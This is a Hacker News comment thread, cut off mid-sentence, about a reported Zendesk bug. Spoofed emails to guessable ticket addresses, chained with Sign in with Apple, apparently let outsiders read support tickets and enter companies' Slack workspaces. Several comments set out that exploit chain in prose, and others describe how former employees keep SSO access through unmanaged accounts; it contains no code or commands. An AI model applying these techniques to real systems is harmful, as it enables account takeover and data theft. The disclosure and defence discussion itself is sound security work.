| Thorrez wrote:
| The spoofed address was appleid@id.apple.com .
| support+id@company.com was the to address, not the from
| address.
|
| https://gist.github.com/hackermondev/68ec8ed145fcee49d2f5
| e2b...
| Thorrez wrote:
| No, it's spoofed appleid@id.apple.com addresses. But you
| are correct that it's not customer SPF/DMARC configuration
| that's the problem.
| Aachen wrote:
| They could make the ticket IDs unpredictable so you can't
| subscribe yourself to any existing ticket by sending it an
| email
| aftbit wrote:
| Zendesk could refuse to allow "ticket collaboration" if
| customers had a missing or insufficiently secure SPF/DMARC
| configuration, or at least make customers check a box that
| says "Tickets may leak their contents to anyone who can send
| emails".
| eatbots wrote:
| Reported this exact bug to Zendesk, Apple, and Slack in June
| 2024, both through HackerOne and by escalating directly to engs
| or PMs at each company.
|
| I doubt we were the first. That is presumably the reason they
| failed to pay out.
|
| The real issue is that non-directory SSO options like Sign in
| with Apple (SIWA) have been incorrectly implemented almost
| everywhere, including by Slack and other large companies we
| alerted in June.
|
| Non-directory SSO should not have equal trust vs. directory SSO.
| If you have a Google account and use Google SSO, Google can
| attest that you control that account. Same with Okta and Okta
| SSO.
|
| SIWA, GitHub Auth, etc are not doing this. They rely on a weaker
| proof, usually just control of email at a single point in time.
|
| SSO providers are not fungible, even if the email address is the
| same. You need to take this into account when designing your
| trust model. Most services do not.
| cxcorp wrote:
| This is very important to keep in mind when implementing OAuth
| authentication! Not every SSO provider is the same. Even if the
| SSO provider tells you that the user's email is X, they might
| not even have confirmed that email address! Don't trust it and
| confirm the email yourself!
| hmottestad wrote:
| And remember to add a random unique id to the reply-to email,
| otherwise you've fallen into the same trap.
| harrisonjackson wrote:
| Ah, that makes a lot of sense. This is a foot gun that you can
| run into even with an auth provider like Auth0 or Clerk let
| alone rolling your own.
|
| Directory SSO: These are systems like Google Workspace or Okta,
| which maintain a central directory of users and their access
| rights.
|
| Non-directory SSO: These are services like "Sign in with Apple"
| (SIWA) or GitHub authentication, which don't maintain such a
| directory.
| ec109685 wrote:
| Not only is Apple non-directory, they are non-discretionary as
| well, so foisted on services and handled poorly as a result.
| bushido wrote:
| Out of curiosity, do you know of open source projects or any
| resources that someone less familiar with SSO can use/read to
| properly implement SSO?
| siddthesquid wrote:
| Something like Keycloak?
| tptacek wrote:
| I think they're asking for advice on how to more reliably
| implement the RP side.
| to11mtm wrote:
| Not the _best_ suggestion but haven 't seen others give any
| yet...
|
| IdentityServer4 [0] is no longer maintained [1] but had SSO
| support and the source is still on github.
|
| [0] - https://identityserver4.readthedocs.io/en/latest/
|
| [1] - They had to go commercial to stay afloat, there wasn't
| enough contributions from community/etc. That said it's
| pretty cheap for what it does in the .NET space.
| LilBytes wrote:
| Keycloak (Java) and Zitadel (Go) are my recommendations.
| bitexploder wrote:
| Use OIDC. It is based on Oauth. I would fiddle with
| implementing basic Oauth clients first. Like a Spotify
| playlist fetcher or something. Just to start getting a feel
| for the flows and things you would be concerned with.
| austinkhale wrote:
| Presumably one of the PMs you're referring to has posted this
| article for additional information. Feels like they're doubling
| down on their initial position.
|
| https://support.zendesk.com/hc/en-us/articles/8187090244506-...
| 8n4vidtmkvmk wrote:
| > Although the researcher did initially submit the
| vulnerability through our established process, they violated
| key ethical principles by directly contacting third parties
| about their report prior to remediation. This was in
| violation of bug bounty terms of service, which are industry
| standard and intended to protect the white hat community
| while also supporting responsible disclosure. This breach of
| trust resulted in the forfeiture of their reward, as we
| maintain strict standards for responsible disclosure.
|
| Wow... there was no indication that they even intended on
| fixing the issue, what was Daniel hackermondev supposed to
| do? Disclosing this to the affected users probably was the
| most ethical thing to do. I don't think he posted the
| vulnerability publicly until after the fix. "Forfeiture of
| their award" -- they said multiple times that it didn't
| qualify, they had no intention of ever giving a reward.
| mmsc wrote:
| Fwiw, I wouldn't be surprised if the author of this article
| is a bit upset that Daniel hackermondev gained a
| significant % of the income that the author makes a year.
| If this was "fixed" by Zendesk, they would have paid less
| than a few % from the 50k they actually made.
|
| Edit: to those downvoting, the fact of the matter is that
| Zendesk's maximum bounty is far lower than 50k; yet OP made
| 50k; meaning by definition the value of the vulnerability
| was at least 50k.
| bornfreddy wrote:
| If anything, they are probably upset that they apparently
| lost some customers over this. That must (rightfully)
| hurt. But it's their own mistake - leaving a security bug
| unaddressed is asking for trouble.
| imroot wrote:
| As someone who manages a bug bounty program, this kind of
| pisses me off.
|
| For some of our bugs given on h1, we openly say, "Hey, we
| need to see a POC in order to get this to be triaged." We
| do not provide test accounts for H1 users, so, if they
| exploit someone's instance, we'll not only take the amount
| that the customer paid off of their renewal price, we'll
| also pay the bounty hunter.
| richbell wrote:
| Indeed, they never had any intention of awarding a bounty.
|
| Heads I win, tails you lose.
| martinsnow wrote:
| What a moron
| thekevan wrote:
| So when the researcher said it was a bug, they said, "No,
| it's fine. No bug bounty, sorry."
|
| THEN the researcher eventually goes public.
|
| Later, Zendesk announces the bug and the fix and says there
| will be no bug bounty because the researcher went public.
|
| Is that how it went? I mean if so, that's one way to save on
| bug bounties.
| sumedh wrote:
| > THEN the researcher eventually goes public.
|
| He should have said since its not going to be fixed, he
| will just inform the individual companies.
| bigiain wrote:
| Once they'd brushed him off and made it clear they were
| not interested in listening to him, resolving the bug, or
| living up to the usual expectations that researchers have
| in companies claiming to have bug bounties on HackerOne,
| I'd say they lost any reasonable expectation that he'd do
| that.
|
| I'll note he did go to the effort of having the first
| stab at that sort of resolution, when he pushed back on
| HackerOne's inaccurate triage of the bug as an
| SPF/DKIM/DMARC email issue. He clearly understood the
| need for triage for programs like this, and that the
| HackerOne internal triage team didn't understand the
| actual problem, but again was rebuffed.
| bigiain wrote:
| He didn't even "go public" as that term is normally used in
| bug disclosure. He didn't write it up and release and
| exploit when Zendesk told him it was out of scope and
| didn't give him any indication they considered it a problem
| or were planning a fix. Instead he reached out to affected
| companies in at least a semi private way, and those
| companies considered the bug serious enough to pay him 50k
| collectively and in at least some cases drop Zendesk
| altogether.
|
| I am 100% certain that every one of the companies that paid
| the researched would consider the way this was handled by
| that researched "the best alternative to HackerOne rules
| 'ethical disclosure' in the face of a vendor trying to
| cover up serious flaws".
|
| In an ideal world, in my opinion HackerOne should publicly
| revoke Zendesk's account for abusing the rules and
| rejecting obviously valid bug payouts.
| fweimer wrote:
| Aren't such disputes about scope relatively common? Not
| sure what Hackerone can do about it.
|
| For example, most Hackerone customers exclude denial-of-
| service issues because they don't want people to
| encourage to bring down their services with various kinds
| of flooding attacks. That doesn't mean that the same
| Hackerone customers (or their customers) wouldn't care
| about a single HTTP request bring down service for
| everyone for a couple of minutes. Email authentication
| issues are similar, I think: obviously on-path attacks
| against unencrypted email have to be out of scope, but if
| things are badly implemented that off-path attacks
| somehow work, too, then that really has to be fixed.
|
| Of course, what you really shouldn't do as a Hackerone
| customer is using it as a complete replacement for your
| incoming security contact point. There are always going
| to be scope issues like that, or people unable to use
| Hackerone at all.
| eloisant wrote:
| We have 2 conflicting sides of the story, who knows which
| one is bullshiting.
| Shank wrote:
| In damage control mode, Zendesk can't pay a bounty out here?
| Come on. This is amateur hour. The reputational damage that
| comes from "the company that goes on the offensive and
| doesn't pay out legitimate bounties" impacts the overall
| results you get from a bug bounty program. "Pissing off the
| hackers" is not a way to keep people reporting credible bugs
| to your service.
|
| I don't understand what this tries to accomplish. The problem
| is bad, botching the triage is bad, and the bounty is
| relatively cheap. I understand that this feels bad from an
| egg-on-face perspective, but I would much rather be told by a
| penetration tester about a bug in a third-party service
| provider than not be told at all just to respect a program's
| bug bounty policy.
| bigiain wrote:
| "Hi, we are ZenDesk, a support ticket SaaS with a bug
| bounty program that we outsource to our effected customers,
| who pay out an order of magnitude more than our puny fake
| HackerOne program. Call now, to be ridiculously upsold on
| our Enterprise package!"
| teddyh wrote:
| > _" Pissing off the hackers" is not a way to keep people
| reporting credible bugs to your service._
|
| That doesn't matter if your goal with a bug bounty program
| is _not_ to have people reporting bugs, but instead to have
| the company appear to care about security. If your only aim
| is to _appear_ serious about security, it doesn't matter
| what you actually do with any bug reports. Until the bugs
| are made public, of course, which is why companies so often
| try to stop this by any means.
| Ylpertnodi wrote:
| >In damage control mode, Zendesk can't pay a bounty out
| here?
|
| Reading all the many comments, it would appear the damage
| has been done. Good. But very unnecessary on zd's part.
| dclowd9901 wrote:
| As a former ZD engineer, shame on you Mr Cusick (yes, I know
| you personally) and shame on my fellow colleagues for not
| handling this in a more proactive and reasonable way.
|
| Another example of impotent PMs, private equity firms
| meddling and modern software engineering taking a back seat
| to business interests. Truly pathetic. Truly truly pathetic.
| teddyh wrote:
| That article claims to have "0 comments", but currently sits
| at a score of -7 (negative 7) votes of helpful/not helpful. I
| think they have turned off comments on that article, but
| aren't willing to admit it.
|
| EDIT: It's -11 (negative 11) now. Still "0 comments".
| lol768 wrote:
| They have definitely turned off comments. Attempting to
| post one refreshes the page but nothing happens, and the
| comment never appears.
| teddyh wrote:
| Wow, it's now at -27.
| JonChesterfield wrote:
| We, the company that doesn't understand security, can't tell
| whether this was exploited, therefore we confidently assert
| that everything is fine. It's self consistent I suppose but I
| wouldn't personally choose to scream "we are incompetent and
| do not care" into the internet.
| bsbsjsusj wrote:
| Django all auth seems to know this with social provider
| specific email settings.
| marcellus23 wrote:
| Can you explain a bit more what makes Sign in with Apple
| different from Google Sign-in? Apple certainly does maintain a
| list of users with accounts. So what does "non-directory" mean
| here exactly? Why can Apple not attest that you control that
| account at sign-in time?
| lathiat wrote:
| I think what he means is, if you have an @gmail.com account
| via Google, that is pretty good proof of control. But if you
| have any other e-mail (e.g. a custom domain) via Google, it's
| not.
|
| Similar with Apple, if you were signing in with an
| @icloud.com, it's pretty good proof, but if you have an Apple
| ID with a third-party e-mail it's not proof of current
| control of that e-mail.
|
| That's my guess.
| marcellus23 wrote:
| That helps, but I still don't have a full picture. What's
| the threat here? Is it that: if a hacker gains temporary
| access to Bob's email bob@example.com, they can create an
| Apple account attached to it, and use that account to sign
| in with a service ABC, then that hacker gains access to
| Bob's private info in service ABC? But if the hacker
| already has email access, can't he just log into service
| ABC directly anyway?
|
| Also, is it impossible to have a Google account with a non-
| gmail address? The original poster seemed to be saying that
| Google _is_ a directory SSO and Apple _is not_
| categorically. But if you can have a Google account without
| a Gmail-ran email account, wouldn't Google have the same
| vulnerability?
| wilsonnb3 wrote:
| > Also, is it impossible to have a Google account with a
| non-gmail address?
|
| You can have your own domain if it is a workspace account
| quacksilver wrote:
| You can also sign up for a google account using a non-
| gmail email address without creating a new gmail address,
| providing the domain owner hasn't created a workspace
| account with that domain in the past.
|
| This can be done with an account that you once had
| control over but don't anymore, like if you leave an
| employer.
|
| You can't send mail from it, but many apps will take
| having a google account with a given email is proof of
| ownership, or an @example.com email address is proof that
| you are an employee of Example Inc. when they are a
| customer of the app and have a tenant set up.
| crusty wrote:
| Now? nothing. I think this thinking is a relic of Google's
| status as seemingly the last remaining email provider to
| automatically create a Gmail account when signing up for a
| Google account. So using Google SSO meant using your Gmail
| account, and so control of the email address was nessissary
| for control of the Google account. If you lose the email
| account, you lose the Google account _. This is not true
| anymore since you can sign up for a Google account with any
| email.
|
| Whereas you can (and I believe always could*) create an apple
| ID with any old email address.
|
| *Maybe this delinked situation only came about when they
| added the App Store to OS X, and figured they'd make less
| money if they require existing Mac users to get a new email
| account in order to buy programs in the manner which would
| grant them a cut.
|
| Apple has a list of all the email addresses for its sole IDs,
| but it doesn't control them, and having one deleted doesn't
| nessisarilly affect the other.
|
| _ Google and custom domain email have always been delinked
| from this perspective. You could create a Google account with
| a custom domain and then point the domain elsewhere or lose
| control of it, and you'd still retain conto of the account.
|
| Basically, the required example essentially theoretical at
| this point - maybe it works for employers at companies that
| also happen to provide SSO services. So if you work at
| Facebook, Google, Apple, or github and have a me@FGAG.etc.com
| email dress, and you signed into slack through the SSO that
| affiliated with your company and the company email, but later
| don't work there and you've had your work account access
| revoked, you won't be able to use that SSO to sign into
| slack. That's what they mean by directory control or
| whatever.
|
| In contrast, if you sign up to github with your work email
| account, unless it's a managed device managed by your work,
| your work doesn't actually control the account. They just
| vouched for your affiliation at sign up when you verified
| your email. So if you use a github SSO to sign up for a
| service that 'verifies' your work email address from github
| during the process, that won't change when you leave and the
| company revoked access to the email. Github SSO, in this
| case, isn't verifying you have an email account @company.com.
| They are verifying you once did, or at least once had, access
| to it. This is what they mean by the non-directory whatever.
| quacksilver wrote:
| I do web app testing and report a similar issue as a risk
| rather often to my clients. You can replace Google below with
| many other identity providers.
|
| Imagine Bob works at Example Inc. and has email address
| bob@example.com
|
| Bob can get a Google account with primary email address
| bob@example.com. He can legitimately pass verification.
|
| Bob then gets fired for fraud or sexual harassment or something
| else gross misconduct-y and leaves his employer on bad terms.
|
| Bob still has access to the Google account bob@example.com. It
| didn't get revoked when they fired him and locked his accounts
| on company systems. He can use the account indefinitely to get
| Google to attest for his identity.
|
| Example Inc. subscribes to several SaaS apps, that offer Google
| as an identity provider for SSO. The SaaS app validates that he
| can get a trusted provider to authenticate that he has an
| @example.com email address and adds him to the list of
| permitted users. Bob can use these SaaS apps years later and
| pull data from them despite having left the company on bad
| terms. This is bad.
|
| I think the only way for Example Inc. to stop this in the case
| of Google would be to create a workspace account and use the
| option to prove domain ownership and force accounts that are
| unmanaged to either become managed or change their address by a
| certain date. https://support.google.com/a/answer/6178640?hl=en
|
| Other providers may not even offer something like this, and it
| relies on Example Inc. seeking out the identity providers,
| which seems unreasonable. How do you stop your corporate users
| signing up for the hot new InstaTwitch gaming app or Grinderble
| dating service that you have never heard of and using that to
| authenticate to your sales CRM full of customer data?
| hunter2_ wrote:
| I wonder why Google would make an SSO assertion along the
| lines of "yes, this user Bob has email address
| bob@example.com" in the situation where example.com is not
| under a Workspace account. Such assertions ought to be made
| only for Workspace (and Google's own domains such as
| gmail.com, googlemail.com, etc.) since outside of that it's
| obsolete proof as you say, i.e. it's merely a username of a
| Google account which happens to look like an email address,
| and nothing more.
| yread wrote:
| You can create a google account with an existing email
|
| https://support.google.com/accounts/answer/176347?hl=en&co=
| G...
| necovek wrote:
| I read the GP's question as "why" would Google allow that
| in the first place?
|
| The reason is obvious: because a Google account gets you
| access to many a Google service without requiring you to
| open a Gmail account.
|
| However, the question still stands: why does Google allow
| authentication with a non-Gmail/Workspace account? Yes,
| it would be confusing since not all Google Accounts would
| be made the same, but this entire class of security
| issues would disappear.
|
| So it's the usual UX convenience vs security.
|
| Alternative "fix" that's both convenient and secure is to
| have every company use Google Apps on their domain ;-)
| rkharsan64 wrote:
| Every time I've left an organization, they have swiftly
| deleted the company email address/revoked my access to it. I
| assume every reasonable organization will have processes in
| place to do this.
|
| I don't see this as a vulnerability: how is Google supposed
| to know that a person has left the company? You let them know
| by deleting the account.
| birdgoose wrote:
| In the above example, the Company doesn't have anything to
| do with the Google account that the user created
| themselves.
|
| I don't know if Google is the best example here. Apple
| might be a better one:
|
| 1. User's work email is user@company.com
|
| 2. User creates Apple ID using their work email. Their
| Apple ID is user@example.com
|
| 3. User gets fired and their company email is deleted
|
| 4. User can still sign in to the SaaS apps using SIWA and
| their "company" Apple ID
|
| It's worth noting that OAuth providers - like Apple -
| include information such as if they are authoratitive or
| not over a particular account.
| zrobotics wrote:
| In the above example, the normal flow to get a Google
| address user@company.com relies on setting DNS records
| for company.com, both to prove control of the domain as
| well as to route email to that domain. There may be an
| exploit/bypass I'm not seeing, but I legitimately don't
| see any way a user who has a legitimate user@company.com
| email address hosted somewhere besides Google workspace
| could then setup a user@company.com email address with
| Google.
|
| If there's a way to do this, I would greatly appreciate a
| link or brief explanation, as our process for employee
| termination/resignation does involve disabling in the
| Google admin portal and if we need to be more proactive I
| definitely want to know.
| dantiberian wrote:
| The issue here is that if company.com does not use Google
| Workspace and hasn't claimed company.com, then any
| employee can sign up for a "consumer" Google account
| using user@company.com.
|
| There are legitimate reasons for this, e.g. imagine an
| employee at a company that uses Office365 needing to set
| up an account for Google Adwords.
| urbandw311er wrote:
| The example states that the user works at Example Co and
| email is @example.com
|
| This is the confusion -- it's reasonable to assume that
| the email is not a personal address.
| fragmede wrote:
| That removes you from their system. If I make a GitHub
| account using bob@example.com, GitHub doesn't get notified
| that I got fired from example.com, so I can keep using my
| GitHub bob@example.com account in places that ask GitHub if
| I'm Bob@example.com even though I don't have access to that
| email anymore.
| fweimer wrote:
| This no longer happens for services that have accounts that
| follow a social media style. For such accounts, employees
| are expected their own accounts (presumably with followers,
| reputation etc.) and keep it after leaving the company. For
| real social media, this is probably fine, but I don't
| understand why we accept this model for Github and Gitlab
| (and Sourceware before that). Even from an employee
| perspective, it's not great because it makes it unclear who
| owns what. Especially with services like Github which have
| rules about how many accounts you can create for one
| person, and under what circumstances.
|
| I have no idea how this is supposed to work in practice for
| Github and Gitlab, where people gain access to non-public
| areas of those websites, but they are still expected to use
| their own accounts which they keep after leaving their
| employer.
|
| (The enterprise-managed Github accounts do not address this
| because they prevent public, upstream collaboration.)
| laz wrote:
| You don't need full blown workspace, which costs money, you
| can set up "cloud identity free" and claim the domain.
|
| When you're setting it up, you can choose what to do with any
| existing accounts that are part of your domain: kick them out
| or merge them in.
| kccqzy wrote:
| If anyone needs motivation of such unmanaged users, I
| actively use this feature. I have my own Google Workspace on
| my own domain. Years ago when I bought a Nest product I found
| that I couldn't use a Google Workspace account to access
| Nest. No problem, I create a consumer Google account under my
| Google Workspace domain. The email looks just like a
| Workspace account. And it doesn't need any additional
| Workspace licenses. (I no longer plan to buy any more Nest
| devices so I'll delete the account once my last Nest product
| stops working.)
| ryukoposting wrote:
| Isn't the simplest solution here to not support SSO at all?
|
| I get there's a convenience factor, but even more convenient is
| the password manager built into every modern browser and
| smartphone. If the client decides to use bad passwords, that's
| will hurt them whether or not they're using SSO.
| pas wrote:
| SSO is fine, but verify the email address that the SSO
| provider has given (unless the provider is authoritative for
| the email domain)
| namaria wrote:
| The amount of software that could have been some spreadsheets and
| an email chain and companies pay enormous amounts of money for
| and create glaring vulnerabilities in their systems is a big
| reason why I'll never understand or thrive in a corporate
| setting.
| xyst wrote:
| Zendesk is a piece of shit company for not paying out this
| researcher.
|
| H1 should restrict ZD from their platform.
| ericbarrett wrote:
| This was a great writeup, really clear and engagingly written,
| about an interesting and subtle bug. If the author hadn't
| mentioned they were 15 I would have assumed it was from a
| seasoned security professional.
|
| To Daniel/hackermondev: whatever you're doing, keep it up!
| kmoser wrote:
| Agreed, if I was hiring and the author applied, I would base
| most of my decision on the quality of this article alone. Just
| goes to show how engaging communication beats whiteboard
| interviews, at least for me.
| mgaunard wrote:
| In my experience, telling people you've found a vulnerability in
| their system is met with denial or lack of care, and when you
| demonstrate the exploit for them to take it seriously, they sue
| you.
|
| You're better off not bothering contacting them.
| harrisonjackson wrote:
| Crazy that a company/product that depends so much on email as an
| interface would have policies to dismiss a bug like this.
|
| It is challenging for Zendesk to enforce or fix DKIM, SPF, and
| DMARC issues across all client domains so better to just ignore
| it :grimace:
| pheatherlite wrote:
| And I thought I was once a clever 15 year old... this was
| brilliant. Sharp kid.
|
| Though his pondering of 'why do companies use third party support
| systems instead of rolling their own' gave his age away :)
| wglass wrote:
| Seems to me this is just as much a problem with Slack and its
| configuration as with Zendesk.
| 29athrowaway wrote:
| Why would a security researcher risk doing a significant amount
| of free work for Zendesk in the future?
|
| Why do they even have a bounty program if they do this?
| ec109685 wrote:
| While obviously Zendesk leaving such a huge hole was the main
| reason for this exploit (you should obviously fail closed when
| email signals suggest it's an unauthenticated address), a
| contributing factor is that Apple forced themselves to be added
| as an SSO provider.
|
| So the hacks put in place to deal with Google SSO hadn't been put
| in place for Apple's.
|
| Also, what Fortune 500 company is leaving slack's email based
| login feature enabled? Why wouldn't they all be using a corporate
| SSO solution tied to their company's slack directory?
| yieldcrv wrote:
| > "out of scope," said no attacker ever
|
| I like this kid
| failedrequest wrote:
| Zendesk handles customer data and says its a great customer
| support platform.
|
| The irony is that they have the worst support and one of the
| worst response times to issues reported. You will find many
| experiences on LinkedIn reporting this.
| bronco21016 wrote:
| You probably didn't speak with a human since Zendesk only allows
| you to speak to a bot unless you give them several
| thousand/month.
| natch wrote:
| Unfortunately the headline makes it look like Zendesk paid a
| bounty, when they did not. Clearly they have a doofus in charge
| of security.
| lifeisstillgood wrote:
| I have been thinking about it for a while, but I no longer think
| email is worth the trouble. I am flooded with spam, the
| vulnerabilities are everywhere and locking them down near
| impossible.
| chias wrote:
| The dumb thing is that this "out of scope" thing is 100% a Hacker
| One failure, and exactly the kind of thing I've grown to expect
| from these triage teams.
|
| "SPF, DKIM, and DMARC issues" is absolutely and positively
| intended to mean "we don't care if we are missing these headers
| on our domains", in part because this is 99.9% of drive-by beg
| bounties (if you are tired of getting "I HAVE FOUND A SERIOUS
| SECURITY ISSUE IN YOUR WEBSITE" cc'ing security@, legal@,
| privacy@, and your CEO on a monthly cadence, just set up a DKIM
| record :P)
|
| Yes, this is technically a bug which is in the space of SPF,
| DKIM, and/or DMARC. But this is absolutely NOT WHAT THE EXCLUSION
| IS FOR. Hacker One triage teams should know better, and it's
| frankly embarrassing that they don't. And it's frankly mortifying
| that their mediation team also didn't pick up on this.
|
| But it checks out.
|
| This is one of the reasons I will not use Hacker One ever.
| Bugcrowd is slightly better. Intigriti has (so far) been pretty
| good. I'm not affiliated with any of them, just have been a
| customer of all three.
| josephh wrote:
| A more sensible thing that should've been done is to tokenize the
| case ID so that you can't just guess it with a numerical range.
| Also important that you don't leak your key business metrics (#
| of support cases over time).
| atum47 wrote:
| I once found a neat trick to highjack Facebook accounts; after
| MSN message died a lot of hotmail accounts were left to die also
| but a lot of people created their Facebook account using the
| @hotmail address. I tipped them about that they basically said F
| you.
| brainzap wrote:
| when I tested zendesk for potential ticket system I felt that
| this is half abandoned, there are probably more security issues
| to find
| nodamage wrote:
| In case it's not clear these are the two separate
| vulnerabilities:
|
| 1. Zendesk allows you to add a CC to any existing support ticket
| by sending a (spoofed) reply from the original requestor's email
| address to that ticket's Reply-To address and including a CC in
| the email.
|
| In some circumstances the Reply-To address is based on an auto-
| incrementing integer so it can be guessed. (Although this may not
| alway be the case: my email archives show some emails from
| Zendesk using the integer and other emails using a random
| alphanumeric string. It seems to vary by company so it might be
| some sort of configuration setting?)
|
| 2. Slack allows third-party domain-wide logins via Sign in with
| Apple without additional verification that the email belongs to a
| real person. Here the author of the article pretends to be
| support@company.com to Slack and Slack lets them into the
| company.com channel, despite the fact that support@company.com
| does not actually represent a real user and is only intended to
| be a receiving email address that forwards into Zendesk. (This
| sounds more like a configuration problem than anything else
| though.)
| kidbomb wrote:
| IMHO the second problem goes deeper:
|
| Sign In with Apple is allowing you to "create an
| account"(author's words) on @company.com, which should not be
| supported in the firat place. Instead, it should rely in a
| central directory controlled by company.com for authentication
| robbiet480 wrote:
| Those with Apple Business or School Manager can now claim
| domain names which blocks sign ups under claimed domain
| names.
| nodamage wrote:
| Apparently so do Google and Github according to the other
| comments in this thread. Seems like a potential design flaw
| in these SSO implementations.
| Rugu16 wrote:
| Its all because someone's ego was hurt that their security was
| breached by 15 year old kid. Sometimes the simplest explanation
| is the right one.
| Eumenes wrote:
| Zendesk paid me $500 4 years after I submitted a vulnerability to
| their bounty program on hackerone. It was a shock. There were
| default settings indexing internal docs/knowledgebase info to
| search engines.
| wslh wrote:
| This is where despite the bug bounty rules someone at Zendesk (a
| CXO?) should take action and pay.
|
| I would add that HackerOne could also take an action and
| influence in the positive outcome and not being just a MiM.
| tptacek wrote:
| If you want to understand the dynamics of what happened here, a
| very important detail is that the bounty hunter's report
| implicated DKIM and SPF, and _no bug bounty program in the world
| takes DKIM reports seriously_. DKIM is the _archetypical_ beg
| bounty. You could find DKIM RCE and HackerOne would still round
| file your report.
| heraldgeezer wrote:
| >Personally, I've always found it surprising that these massive
| companies, worth billions, rely on third-party tools like Zendesk
| instead of building their own in-house ticketing systems.
|
| Ah, yes, why do laymen always think this?
|
| I mean, I get it, Krupp and mining towns used to be a thing, so
| it is possible.
|
| But every big company should build a ticketing system? Why not an
| email solution, OS, network routers too?
| lukeh wrote:
| As someone else mentioned, he is 15. I would have thought the
| same thing when I was his age.
| heraldgeezer wrote:
| When I was 15 I was jerking off and playing Flyff, not
| thinking about ticket systems.
| matrix12 wrote:
| I blame @otterly for bringing in the ex yahoo people who locked
| devs out environments. Causing them to add backdoors for
| debugging.
| heraldgeezer wrote:
| Would this work with Jira, Servicenow, Spiceworks etc...? :x hehe
| ZendeskTeam wrote:
| Our team at Zendesk has posted some more details about this bug
| here: https://support.zendesk.com/hc/en-
| us/articles/8187090244506-...
| bredren wrote:
| > We also want to address the Bug Bounty program associated
| with this case. Although the researcher did initially submit
| the vulnerability through our established process, they
| violated key ethical principles by directly contacting third
| parties about their report prior to remediation.
|
| What was the planned response for addressing the vulnerability
| reported through the Bug Bounty program, and how did the plan
| change after the researcher escalated the issue directly to
| Zendesk before remediation was completed?
| whatthefk wrote:
| 1. "While this specific issue has been resolved", that was a
| bug, not an issue.
|
| 2. "they violated key ethical principles by directly contacting
| third parties about their report prior to remediation", what is
| a violation of ethical principles is to know about a security
| failure in your application and ignore it, leaving customers at
| risk, can't wait for some law to pass so people who behave like
| that face consequences.
|
| 3. "We have no evidence that this vulnerability was exploited
| by a bad actor.", tldr, it don't fixed it until some vendor
| dropped us, because before that happened, it was cheaper to
| ignore it.
| austinkhale wrote:
| Wild response. It appears you did not learn a single lesson
| through this process.
| rendall wrote:
| > _...they violated key ethical principles by directly
| contacting third parties about their report prior to
| remediation_
|
| According to the researcher, they only contacted 3rd parties
| after Zendesk rejected the disclosure as out of scope, as they
| are free to do.
|
| If this timeline is incorrect, Zendesk should immediately
| correct the record. As it stands, accusing the researcher of
| violating ethical principles looks very bad for Zendesk.
| Perhaps even libelous.
|
| That it affected Slack was a side-effect of the original bug,
| and not a new, previously undisclosed bug. Zendesk fixed the
| _original_ bug, _after_ rejecting the disclosure. Given all
| that, Zendesk is still ethically bound to honor the bounty, 3rd
| party disclosures notwithstanding.
| rbut wrote:
| Extremely poor response. You can't blame him for contacting
| others affected when you marked it as out of scope. And yet you
| fail to mention that in your blog post..
| mikeortman wrote:
| You didn't provide details, you provided a defense, which is
| weak at best.
| UniverseHacker wrote:
| This response looks really bad for ZenDesk.
|
| This is blatant dishonesty- the post documented in detail that
| the reward had already been denied, and the issue ignored
| multiple times before they contacted 3rd parties. That is not
| an ethical violation but an ethical necessity- after ZenDesk
| refused to act, they had an ethical responsibility to inform
| everyone affected.
|
| This alone is a huge red flag that ZenDesk isn't a trustworthy
| organization, on top of trying to hide rather than correct
| security issues unless they get bad press.
|
| If I were ZenDesk, I would pay out the bounty to this kid
| immediately, and release a detailed public apology explaining
| how the entire bounty review system has been revamped to take
| things like this much more seriously in the future.
| forvelin wrote:
| this is a horrible response. just upvoting so more people can
| see this mess.
| integral_1699 wrote:
| Terrible response. Your team should do a retrospective on its
| retrospective.
| jazz9k wrote:
| I've been making money finding bugs for H1 and have made >100k.
|
| I finally stopped when two large companies have stopped
| communicating with me over the last year (all bugs have been
| triaged on the H1 side).
|
| They owe me a total of around 30k. H1 can't do anything about it.
| It seems there is no actual contract in place to protect
| researchers.
| hmottestad wrote:
| Would love to hear more! I'm always eager to add companies to
| my blacklist.
| tgsovlerkhgsel wrote:
| Same experience where I reported a bug, the company ghosted me,
| and H1 did not even allow disclosure through their platform.
|
| I generally refuse to go through platforms now (also because I
| really hate being subject to the psychological pressure of a
| "social credit system", even though I understand why the
| platforms do it), so if your company doesn't have an
| alternative reporting form, or refuses bug bounty payouts when
| a valid issue was reported directly through them instead of
| through a platform (hello, Backblaze!), I'm not doing free
| labor for you and you will likely hear about the bug when
| either someone else finds it or I include it in a public write-
| up (if it's a bug affecting multiple companies).
| rendall wrote:
| I wonder what would happen if researchers _en masse_ were to
| boycott a particular platform? Disclose to the companies
| directly and explain they won 't work with X and why. Treat
| any attempt by the company to kick the disclosure back to
| platform X as a non-response.
| farmeroy wrote:
| I've really enjoyed all reading about all the vulnerability blogs
| posted over the last month! And from so many young researchers,
| it's super inspiring
| joshdavham wrote:
| Slightly off topic, but why does it always seem to be teenagers
| who are the most talented at finding exploits?
| tgsovlerkhgsel wrote:
| Curiosity and near endless time to dedicate to it make for a
| powerful combination.
| joshdavham wrote:
| Beautifully said.
| yelnatz wrote:
| Kids who are smart and curious have already been exposed to the
| internet since they were 8/9 years old. So a few years of
| learning they're already knowledgeable by the time they're in
| their teens.
|
| No responsibilities and all the time in the world to learn with
| the right circumstances, they can go far.
|
| Older devs who are experts in this area are already busy making
| money and working on their employer's security.
| vladmk wrote:
| SMH and Zendesk responds the wrong way on his post. Guys, just
| pay the kid instead you're making business owners like me start
| recommending my friends and clients against using Zendesk...
| vednig wrote:
| It should be a standard to make bugs public or disclosed to the
| affected companies atleast a while after it's discovery so at
| least the companies which are connected to each other can
| implement their own fix,other wise having closed deals with
| security researchers behind doors and asking them not to reveal
| the truth, isn't going to prevent bad actors from using the
| vulnerability. It is times like these we should reconsider our
| standard in terms of web security as a whole.
| larkinrichards wrote:
| Exploit chain--
|
| 1. zendesk allows you to add users to a support issue and view
| the complete issue history by sending a response email to a
| guessable support email from a person associated with an issue
| and cc'ing the person to add.
|
| 2. Zen desk depends on a spam check for inbound email validity.
| This check does not appear to catch instances where sender email
| is spoofed. Zendesk claims this is bdue to DKIM/SPF/DMARC config
| but I have trouble imagining that 50% of Fortune 500 would get
| this wrong. There are many automated checks available.
|
| 3) Apple issues an Apple ID account to anyone who can receive a
| verification email Sent to the mailing address
| (support@company.com)
|
| 4) Slack allows you to sign in to a workspace using any Apple ID
| associated with the workspace domain (e.g. support@company.com)
|
| This researcher reported #2 to hackerone and was declined.
| Researcher later discovered full exploit with 3 and 4. Did not
| update hackerone, contacted affected companies directly.
|
| it would have been prudent to update hackerone on the additional
